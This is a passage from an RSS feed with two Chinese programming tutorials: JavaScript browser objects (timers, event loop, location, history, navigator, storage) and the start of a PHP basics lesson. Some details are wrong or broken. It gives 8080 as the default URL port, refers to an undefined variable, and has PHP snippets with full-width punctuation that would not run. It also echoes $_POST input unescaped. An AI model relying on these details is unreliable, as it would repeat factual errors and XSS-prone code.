&lt;pre&gt;&lt;code&gt;fn(callback)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;实时时钟，两位数显示【时：分：秒】。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
  &amp;lt;span class=&quot;clock&quot; style=&quot;border: 1px solid black&quot;&amp;gt;00:00:00&amp;lt;/span&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
  function clockText() {
      var date = new Date()
      var seconds = date.getSeconds() &amp;lt; 10 ? `0${date.getSeconds()}` : date.getSeconds()
      var minutes = date.getMinutes() &amp;lt; 10 ? `0${date.getMinutes()}` : date.getMinutes()
      var hours = date.getHours() &amp;lt; 10 ? `0${date.getHours()}` : date.getHours()
      var clockDom = document.querySelector(&quot;.clock&quot;)
      clockDom.innerText = `${hours}:${minutes}:${seconds}`
  }
  setInterval(clockText, 1000)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/1851db2d79-image-20221114201900083-1698821580631278.png&quot; alt=&quot;image-20221114201900083&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;(四) &lt;strong&gt;同步异步&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;同步任务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;前一个任务结束后再执行后一个任务，程序的执行顺序与任务的排序是一致的、同步的。&lt;/p&gt;
&lt;p&gt;同步任务都在主线程上，形成一个执行栈。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;异步任务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;执行一个任务的时候，还可以同时处理其他的任务。&lt;/p&gt;
&lt;p&gt;Js的异步任务是通过回调函数实现的 ，放到任务队列。&lt;/p&gt;
&lt;p&gt;异步任务一般有一下三种类型：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;普通事件，如click。&lt;/li&gt;
&lt;li&gt;资源加载，如load，error。&lt;/li&gt;
&lt;li&gt;定时器。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行机制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;-&amp;gt; 先执行&lt;strong&gt;执行栈&lt;/strong&gt;中的同步任务&lt;/p&gt;
&lt;p&gt;-&amp;gt; 异步任务放入&lt;strong&gt;任务队列&lt;/strong&gt;中&lt;/p&gt;
&lt;p&gt;-&amp;gt; 执行栈的所有同步任务执行完毕，系统按照次序读取任务队列中的同步任务&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用定时器写一个异步任务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(1);

setTimeout(function(){
    console.log(2);
}, 1000)

console.log(3);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;定时器事件异步触发。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;思考&lt;/strong&gt;：如果把1000改成0，这时候的结果？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8049264b0c-image-20221114203447448-1698821589567280.png&quot; alt=&quot;image-20221114203447448&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(五) location对象&lt;/h4&gt;
&lt;p&gt;​	Window对象给我们提供了一个location对属性用于获取或设置窗体的URL，并且可以用于解析URL。因为这个属性返回的是一个对象，所以我们将这个属性也称为location对象。&lt;/p&gt;
&lt;p&gt;​	&lt;strong&gt;注意&lt;/strong&gt;：代码中可以直接写&lt;code&gt;location&lt;/code&gt;，省略&lt;code&gt;window&lt;/code&gt;。&lt;/p&gt;
&lt;h5&gt;5.1 URL（地址）&lt;/h5&gt;
&lt;p&gt;标准语法格式 ：&lt;code&gt;protocol://host[:post]/path/[?query]#fragment&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;protocol：通信协议，http、https等。&lt;/li&gt;
&lt;li&gt;host：主机IP/域名。&lt;/li&gt;
&lt;li&gt;port：端口号，默认为8080。&lt;/li&gt;
&lt;li&gt;path：路径，由零个或多个&lt;code&gt;/&lt;/code&gt;隔开的字符串，一般用来表示主机上的一个目录或文件地址。&lt;/li&gt;
&lt;li&gt;query：参数，以键值对的形式通过&amp;amp;符号分隔开。&lt;/li&gt;
&lt;li&gt;fragment：片段，#后面内容常见于链接、锚点。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.2 属性&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;location.属性&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;href&lt;/code&gt;：获取或者设置整个URL。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 获取url
console.log(location.href)

// 设置url，会发生页面跳转
location.href = &quot;https://www.baidu.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;host&lt;/code&gt;：返回主机IP/域名（对应URL的host）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;port&lt;/code&gt;：返回端口号（对应URL的port）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;pathname&lt;/code&gt;：返回路径（对应URL的path）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;search&lt;/code&gt;：返回参数（对应URL的query）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hash&lt;/code&gt;：返回片段（对应URL的fragment）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.3 方法&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;location.方法()&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;assign()&lt;/code&gt;：跟href一样，可以跳转页面（也称为重定向页面）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;replace()&lt;/code&gt;：替代当前页面，因为不记录历史，所以不能后退。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reload()&lt;/code&gt;：重新加载页面，相当于刷新按钮或者f5&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取页面跳转的URL参数&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;页面一&lt;/strong&gt;：index.html&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;form action=&quot;./index.html&quot;&amp;gt;
        &amp;lt;input type=&quot;text&quot; name=&quot;username&quot;&amp;gt;
        &amp;lt;input type=&quot;password&quot; name=&quot;password&quot;&amp;gt;
        &amp;lt;button&amp;gt;登录&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;页面二&lt;/strong&gt;：index.html&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;span&amp;gt;欢迎您！&amp;lt;/span&amp;gt;
    &amp;lt;span class=&quot;username&quot;&amp;gt;&amp;lt;/span&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var search = window.decodeURI(window.location.search);
    // 剪切字符串，去掉符号?
    search = search.substr(1);
    // 切割字符串，切分多个参数为键值对数组
    var params = search.split(&apos;&amp;amp;&apos;)
    // 对第一个元素切割字符串，提取键值对
    var keyValueArr = params[0].split(&apos;=&apos;);
    // 取值
    var username = keyValueArr[1];
    // 显示到页面上
    var infoDom = document.querySelector(&apos;.username&apos;);
    infoDom.innerText = username;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/368171a4ef-image-20221114210454574-1698821596261282.png&quot; alt=&quot;image-20221114210454574&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;(六) history对象&lt;/h4&gt;
&lt;p&gt;window的history对象，与浏览器历史进行交互，该对象包含用户（在浏览器窗口）&lt;strong&gt;访问过&lt;/strong&gt;的URL&lt;/p&gt;
&lt;h5&gt;6.1 属性&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;length&lt;/code&gt;：返回会话历史中页面的数目，包括当前加载的页。例如，在一个新的选项卡加载的一个页面中，这个属性返回 &lt;code&gt;1&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;6.2 方法&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;back()&lt;/code&gt;：后退一页。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;forward()&lt;/code&gt;：前进一页。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;go()&lt;/code&gt;：前进后退功能，参数是如果是1就前进一个页面，如果是-1就后退一个页面。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(七) navigator对象&lt;/h4&gt;
&lt;p&gt;navigator对象包含有关浏览器的信息，主要包含用户代理的状态和标识，我们最常用的是userAgent，该属性可以返回由客户端发送服务端的user-agent（用户代理）头部的值&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;userAgent&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以判断用户是使用什么客户端打开的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 根据用户的设备，显示不同的页面。如：b站
if(/Android|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
    /* 移动端设备 */
    console.log(&quot;移动端设备&quot;)
    window.location.href = &quot;./mobileIndex.html&quot;; 
} else {   
    /* PC端设备 */
    console.log(&quot;pc设备&quot;)
    window.location.href = &quot;./pcIndex.html&quot;; 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;platform&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;返回运行浏览器的操作系统平台。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;appVersion&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;返回浏览器的平台和版本信息。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(八) 本地存储&lt;/h4&gt;
&lt;p&gt;可以将数据存储在浏览器，设置、读取方便，甚至页面刷新不消失。&lt;/p&gt;
&lt;h5&gt;8.1 sessionStorage(会话存储)&lt;/h5&gt;
&lt;p&gt;​	存储在 &lt;code&gt;sessionStorage&lt;/code&gt; 里面的数据在页面会话结束时（关闭浏览器窗口）会被清除。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;setItem()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置存储信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;sessionStorage.setItem(&quot;键&quot;,&quot;值&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：以键值对的形式存储使用，且只能存储基本数据类型，自动转为&lt;code&gt;String&lt;/code&gt;类型。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;getItem()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取指定存储。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;sessionStorage.getItem(&quot;键&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;removeItem()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;清除指定存储。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;sessionStorage.removeItem(&quot;键&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clear()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;清除所有存储。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;sessionStorage.clear()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：此方法将清除所有存储，注意使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置一个sessionStorage，并获取在控制台中输出。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sessionStorage.setItem(&quot;name&quot;, &quot;小明&quot;)
console.log(sessionStorage.getItem(&quot;name&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;控制台（console）中能看到输出。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/ec93712e35-image-20221114210654639-1698821611593286.png&quot; alt=&quot;image-20221114210654639&quot; /&gt;&lt;/p&gt;
&lt;p&gt;应用程序（Application）的会话存储（sessionStorage）中能看到设置的值。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/47cde5d70f-image-20221114211131804-1698821614709288.png&quot; alt=&quot;image-20221114211131804&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;8.2 localStorage(本地存储)&lt;/h5&gt;
&lt;p&gt;​	存储在 &lt;code&gt;localStorage&lt;/code&gt; 的数据可以长期保留，关闭浏览器也依旧保留，只能手动清除。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;setItem()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置存储信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;localStorage.setItem(&quot;键&quot;,&quot;值&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：以键值对的形式存储使用，且只能存储基本数据类型，自动转为&lt;code&gt;String&lt;/code&gt;类型。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;getItem()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取指定存储。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;localStorage.getItem(&quot;键&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;removeItem()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;清除指定存储。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;localStorage.removeItem(&quot;键&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clear()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;清除所有存储。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;localStorage.clear()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：此方法将清除所有存储，注意使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设置一个localStorage，并获取在控制台中输出。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;localStorage.setItem(&quot;name&quot;, &quot;小明&quot;)
console.log(localStorage.getItem(&quot;name&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;控制台（console）中能看到输出。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/ec93712e35-image-20221114210654639-1698821611593286.png&quot; alt=&quot;image-20221114210654639&quot; /&gt;&lt;/p&gt;
&lt;p&gt;应用程序（Application）的本地存储（localStorage）中能看到设置的值。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/4dbd738886-image-20221114211357287-1698821621788292.png&quot; alt=&quot;image-20221114211357287&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;是JS访问浏览器窗口的一个接口。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;是一个全局对象。定义在全局作用域中的变量，函数都会变成window对象的属性和方法。在调用的时候可以省略window，如alert()、setInterval()等。&lt;/p&gt;
&lt;p&gt;3.内置对象：1.可以设置定时器的setInterval与setTimeout对象；2.可以用于导航的location对象与history对象；3.可以获取浏览器、操作系统与用户屏幕信息的navigator与screen对象；4.可以存储数据的Storage对象。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>PHP 基础</title><link>https://wangyi187.top/posts/web-07-php-basics/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-07-php-basics/</guid><description>0x07 PHP基础 目录 前言 第一章 PHP语言学习介绍 1.1 PHP部署安装环境 PHP可以安装的环境比较广泛，可以在windows环境和Linux环境安装部署，并且已经集</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x07 PHP基础&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;目录&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;前言

第一章 PHP语言学习介绍

    1.1 PHP部署安装环境
    1.2 PHP代码工具选择

第二章 PHP代码基本语法

    2.1 PHP函数知识介绍
    2.2 PHP常量变量介绍
        2.2.1 PHP变量知识：
        2.2.2 PHP常量知识：
    2.3 PHP注释信息介绍
    2.4 PHP数据类型介绍
        2.4.1 整形数据类型
        2.4.2 布尔数据类型
        2.4.3 字符串数据类型
        2.4.4 浮点型数据类型
        2.4.5 PHP数据类型之查看和判断数据类型
    2.5 PHP流程控制语句
    2.6 PHP算数运算方法
        2.6.1 PHP程序自加自减运算
        2.6.2 PHP程序比较运算符号
        2.6.3 PHP程序逻辑运算符号
        2.6.4 PHP程序位运算
        2.6.5 PHP三元运算符合其它运算符

第三章 PHP流程控制语句

    3.1 if条件控制语句
    3.2 if嵌套语句
    3.3 switch语句使用
    3.4 while循环语句说明
    3.5 for循环语句
    3.6 goto循环语句

第四章 PHP函数基本语法

第五章 PHP数组结构

    5.1 for循环遍历索引数组
    5.2 常用操作数组函数

第六章 PHP正则表达式

第七章 PHP文件系统管理

    7.1 fopen、fread、fclose操作读取文件
    7.2 PHP创建和修改文件内容
    7.3 PHP创建临时文件
    7.4 php移动、拷贝和删除文件

总结
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;	PHP是安全中需要掌握的一门语言，就这么一点儿时间教网络安全，不可能精通，这里就不要求你精通PHP，但是对于一些基础代码能够认识、能够编写那么就可以了。

	同时，这里需要和HTML结合，如果你HTML还没懂，那么就需要加强一些HTML的技术能力了。值得一提的是，你看网页中那么多HTML代码，真的是人去写的么，那是不现实的，都是通过框架自动生成的，像现在的少儿编程不也是一样么。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第一章 PHP语言学习介绍&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;	外文名PHP：Hypertext Preprocessor，中文名：“超文本预处理器”是一种通用开源脚本语言。语法吸收了C语言、java和Perl的特点，利于学习，使用广泛，主要适用于web开发领域。用PHP做出的动态页面与其他的编程语言相比，PHP是将程序嵌入到HTML（标准通用标记语言下的一个应用）文档中去执行，执行效率比完全生成HTML标记的CGI要高许多；PHP还可以执行编译后代码，编译可以达到加密和优化代码运行，使代码运行更快。
	
1、目前PHP在全球网页市场、手机网页市场还有为手机提供API（程序接口）排名第一。

2、PHP入门简单，学习入门易入手。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.1 PHP部署安装环境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	PHP可以安装的环境比较广泛，可以在windows环境和Linux环境安装部署，并且已经集成比较多环境包安装。以下的这些全是各种环境包英文名，只不过代表的是不同集成环境包的名字，不用去深究。如下所示：

AppServ PHPstudy APMserv XAMPP WAMPServer …等等

对于我们才入门的学习者来说，选择集成环境包的原则：

1、更新更快，版本较新

2、操作简单易于上手

3、选择项不要过多

因此，我们下面使用的集成环境包是：PHPstudy；当然，如果你对这块比较熟悉了，也可以自行选择集成环境包。

可以在官方网站下载：http://www.phpstudy.net/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 PHP代码工具选择&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;写代码的工具有很多，对于刚开始学习PHP的朋友来说，选择工具有几个原则

1、不要使用带自动提示的工具（例如eclipse、zend studio等PHP开发工具集）

2、写完的代码必须要有颜色高亮显示（不要使用txt文本编辑器等无代码颜色显示的编辑器）
推荐的开发工具：

1）、sublime

2）、PHPstorm（推荐）

注：这两个工具已经在开发环境文件夹中，直接使用即可，两个工具的使用和配置，稍后写在附录文章中。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第二章 PHP代码基本语法&lt;/h2&gt;
&lt;p&gt;2.1 PHP函数知识介绍&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;新建test.php文件，在这个test.php文件中写入如下代码：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
phpinfo();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你可以在浏览器地址栏里面，输入你的服务器地址。我们当前是以自己的电脑作为网页服务器使用的，可以在地址中输入：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/78865f9ce8-20201206143401289.png&quot; alt=&quot;20201206143401289&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代码信息解读说明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、phpinfo是一个函数（功能），这个函数会显示一个当前电脑（服务器）的详细的PHP信息。

2、电脑是一个很笨的东西，需要我们人为的告诉他，代码写完了。我们用分号（；）来告诉他代码写完了。因此只要写完一段代码，就需要在后面加分号。

3、而前后两行的回车空行，是为了让代码更加好看，避免叠在一起，看着不舒服。其实中间有多少个回车空行都没有关系的，保证好看就行了。PHP的语法解释器（PHP最核心部分）不会处理这些空行的。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码编写注意事项：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、PHP的代码信息全部要用半角的英文、很多人容易写成全角的英文/中文和符号造成PHP代码报错。

2、PHP代码的最后一行可以加也可不加分号。由于很多学习者特别是初学者经常犯一个毛病，写完一行代码不加分号，因此容易犯错，某些公司规定一行代码写完，就必须加分号。

3、我们在写文件test.php这个文件命名的时候，只要英文半角（a-z A-Z 0-9 _-）这些字符来命名文件，文件命名不要用中文，不要用特殊符号，不要中间加空格，严格区分大小。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 PHP常量变量介绍&lt;/h3&gt;
&lt;h4&gt;2.2.1 PHP变量知识：&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;在这个test01.php文件中写入如下代码：

&amp;lt;?php
$iphone7 = 5880;
$iphone7plus = 6088;
echo $iphone6 + $iphone7plus;  //echo是在PHP里面最常用的一个输出、显示功能的命令
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$叫作美元符，英文单词：dollar。PHP的变量必须以美元符开始。说明搞PHP有”钱”途。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;变量的几个特点介绍：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、必须要以开始，如变量x必须要写成开始

2、变量的首字母不能以数字开始

3、变量的名字区分大小写

4、变量不要用特殊符号、中文，_不算特殊符号

5、变量命名要有意义（别写xxx，aaa，ccc）这种变量名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;变量的分类情况说明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;可变变量，外部变量，环境变量
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.可变变量举例说明&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// 服务器读取的  编码设置
    header(&apos;Content-type:text/html;charset=utf-8&apos;);
//定义了一个变量叫作$shu 将$shu这个变量的值设为字符串的biao
$shu = ‘biao’；
//定义了一个变量叫作$biao 将他的值设置为鼠标
$biao = ‘鼠标’；
//$$shu就是可变变量；在已声明的变量$shu前又加上了一个变量符
echo $$shu;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.外部变量举例说明&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;PHP的外部变量是PHP在使用过程中规定好的一些变量。这个变量的规定是这样定的。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
&amp;lt;!-- 这一行method 对应的值改为post ---&amp;gt;
&amp;lt;form action=&quot;req.php&quot; method=&quot;post&quot;&amp;gt;
&amp;lt;input type=&quot;text&quot; name=&quot;username&quot;/&amp;gt;
&amp;lt;input type=&quot;password&quot; name=&quot;pwd&quot;/&amp;gt;
&amp;lt;input type=&quot;submit&quot; name=&quot;提交&quot;/&amp;gt;
&amp;lt;/form&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PHP代码调用以上HTML代码中的外部变量方法如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
//$_POST[‘username’]，将username作为字符串放在中括号里面，就得到了表单里面的&amp;lt;input type=”text”name=”username”/&amp;gt;的值
$u = $_POST[&apos;username&apos;];
echo $u.&apos;&amp;lt;br /&amp;gt;&apos;;
//$_POST[‘pwd’]，将pwd作为字符串放在中括号里面，就得到了表单里面的&amp;lt;input type=”text”name=”pwd”/&amp;gt;的值
$passwd = $_POST[&apos;pwd&apos;];
echo $passwd.&apos;&amp;lt;br /&amp;gt;&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过上面的实验我们知道了，通过$_POST这个外部变量，可以得到从表单输入的值。另外我们总结一些外部变量，要求知识点的学习级别：了解含义，默写这个单词的写法和作用。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/1f66efc3b6-20201206144044509.png&quot; alt=&quot;20201206144044509&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;3.环境变量举例说明&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;环境变量我们主要用的有SERVER和_ENV两个环境变量。不过，$ENV逐渐被PHP的新版本给废弃了。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
phpinfo();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其它环境变量：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-07-php-basics/6ad1b9f31b-20201206144134303.png&quot; alt=&quot;20201206144134303&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.2.2 PHP常量知识：&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;常量就是长久不变的值，常量在代码中的定义，以及书写方式如下所示：

define(常量名, 常量值)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常量知识说明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、常量名可以小写，但是通常大写

2、常量名可以不加引号，但是通常加上引号

3、在字符串中调用常量的时候，必须在引号外面

4、常量名建议只用字母和下划线
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
